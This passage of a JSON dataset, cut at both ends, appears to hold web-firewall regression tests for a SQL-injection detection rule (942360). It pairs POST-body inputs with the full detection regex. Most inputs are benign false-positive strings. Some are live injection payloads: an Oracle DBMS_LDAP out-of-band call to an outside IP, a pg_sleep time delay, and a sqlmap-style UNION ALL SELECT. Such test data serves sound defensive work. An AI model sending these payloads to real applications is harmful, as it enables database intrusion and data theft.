"ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": " Update: After..." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "\"desc\"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=/load.php" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=/update-assets" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "bla blabla live update chart" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ".select-gws-banana" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "blablabla. As evidence from the following blablabla" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "||(SELECT(DBMS_LDAP.INIT('169.1.1.1',19))FROM(DUAL))/investigate" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816 - Known false positive" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "'||(select(pg_sleep(15))where(true))||'/investigate" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "GH issue 1816 - Known false positive" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "UNION ALL SELECT NULL,NULL,CONCAT(CONCAT('qqkjq','mxTSrPILRz'),'qvxvq')-- sqCV" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 